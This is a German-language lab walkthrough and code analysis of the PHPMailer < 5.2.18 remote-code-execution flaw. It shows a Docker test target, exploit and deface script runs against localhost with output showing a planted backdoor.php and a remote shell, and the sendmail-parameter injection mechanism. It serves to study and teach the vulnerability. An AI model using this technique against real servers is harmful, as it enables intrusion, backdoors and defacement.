
PHPMailer < 5.2.18 Remote-Code-Ausführung
PHPMailer ist die weltweit beliebteste Transportklasse mit schätzungsweise 9 Millionen Nutzern weltweit. Täglich werden weiterhin erhebliche Download-Zahlen verzeichnet. Es wird von vielen Open-Source-Projekten verwendet: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! und vielen mehr.
PHPMailer vor Version 5.2.18 weist eine Sicherheitslücke auf, die zu Remote Code Execution (RCE) führen kann. Die Funktion mailSend im isMail-Transport von PHPMailer könnte Remote-Angreifern, wenn die Sender-Eigenschaft nicht gesetzt ist, erlauben, zusätzliche Parameter an den mail-Befehl zu übergeben und dadurch beliebigen Code über ein " (Backslash-Doppelanhführungszeichen) in einer manipulierten From-Adresse auszuführen.
Um für deinen Test eine verwundbare Umgebung einzurichten, benötigst du Docker und führst einfach den folgenden Befehl aus:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
Dadurch wird eine verwundbare Webanwendung auf deinem Host auf Port 8080 gestartet.

Um dieses Ziel auszunutzen, führe einfach Folgendes aus:
./exploit host:port
Wenn du dieses verwundbare Image verwendest, kannst du einfach Folgendes ausführen:
./exploit localhost:8080
Nach der Ausnutzung wird eine Datei namens backdoor.php im Stammverzeichnis des Webverzeichnisses gespeichert. Der Exploit öffnet dir eine Shell, in der du Befehle an die Backdoor senden kannst:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
Und das war's – du hast deine Shell. Es gibt noch einen weiteren Exploit, der einen anderen Anwendungsfall veranschaulicht.
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
Und wenn du die Seite erneut aufrufst, siehst du Folgendes:

Vor diesem Commit in class.phpmailer.php gibt es in einem bestimmten Szenario keine Filterung der Sonderzeichen in der E-Mail-Adresse des Absenders. Dieser Fehler kann über die mail-Funktion hier zu einer Remote Code Execution führen.
Analysiert man den Code, gibt es in der Funktion mailSend() keinen Filter.
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender wird direkt an die Variable $params angehängt, die in der Funktion validateAddress() gefiltert wurde. Da diese jedoch der RFC-3696-Spezifikation folgt, erlaubt sie bestimmte Zeichen, die Probleme verursachen können.
In diesem Fall: Anführungszeichen:
Zusätzlich zur Quotierung mit dem Backslash-Zeichen können herkömmliche doppelte Anführungszeichen verwendet werden, um Zeichenfolgen einzuschließen. Zum Beispiel
"Abc@def"@example.com
"Fred Bloggs"@example.com
sind alternative Formen der ersten beiden obigen Beispiele. Diese Quotierungsformen werden selten empfohlen und sind in der Praxis unüblich, müssen aber, wie oben erläutert, von Anwendungen unterstützt werden, die E-Mail-Adressen verarbeiten. Insbesondere erscheinen die Quotierungsformen oft im Zusammenhang mit Adressen, die mit Übergängen von anderen Systemen und Kontexten verbunden sind; diese Übergangsanforderungen treten nach wie vor auf, und da ein System, das eine benutzerbereitgestellte E-Mail-Adresse akzeptiert, nicht "wissen" kann, ob diese Adresse mit einem Altsystem verbunden ist, müssen die Adressformen akzeptiert und in die E-Mail-Umgebung übergeben werden.
Die gesamte RFC kannst du bei Bedarf hier lesen. Wenn die PHP-Version älter als 5.2.0 ist und kein PCRE installiert ist, wird die Variable $patternselect in validateAddress() auf noregex gesetzt. Dadurch kann die Eingabe jede Regex-Prüfung umgehen. Sie durchläuft lediglich eine kleine Überprüfung:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
Danach geht der Codefluss zur Funktion mailPassthru() über, die bei aktivem safe_mode nicht anfällig für diesen Fehler ist, wie der folgende Code zeigt:
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
Wenn sie jedoch nicht im safe_mode läuft, wird unser spezieller Parameter an mail() übergeben, und mit etwas Glück wird unsere Datei mit beliebigem Inhalt an die von uns gewählte Stelle geschrieben.
Die Ausnutzung der PHP-mail()-Funktion ist nichts Neues, aber sie ist weiterhin aktuell und wird nach wie vor genutzt. Um zu erklären, wie sie funktioniert, schauen wir uns an, wie die mail()-Funktion definiert ist:
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
Es gibt verschiedene Ausnutzungsmethoden für unterschiedliche Ergebnisse. Wir konzentrieren uns auf die Ausnutzung des 5. Parameters, um Remote Code Execution (RCE) zu erreichen. Der Parameter $additional_parameters wird verwendet, um zusätzliche Flags als Befehlszeilenoptionen an das Programm zu übergeben, das für den Versand der E-Mail konfiguriert ist. Diese Konfiguration wird durch die Variable sendmail_path festgelegt.
Ein Sicherheitshinweis aus der offiziellen PHP-Dokumentation:
Der Parameter additional_parameters kann verwendet werden, um zusätzliche Flags als Befehlszeilenoptionen an das Programm zu übergeben, das beim Senden von E-Mails verwendet werden soll, wie durch die Konfigurationseinstellung sendmail_path definiert. Beispielsweise kann er verwendet werden, um die Envelope-Absenderadresse festzulegen, wenn sendmail mit der Option -f verwendet wird.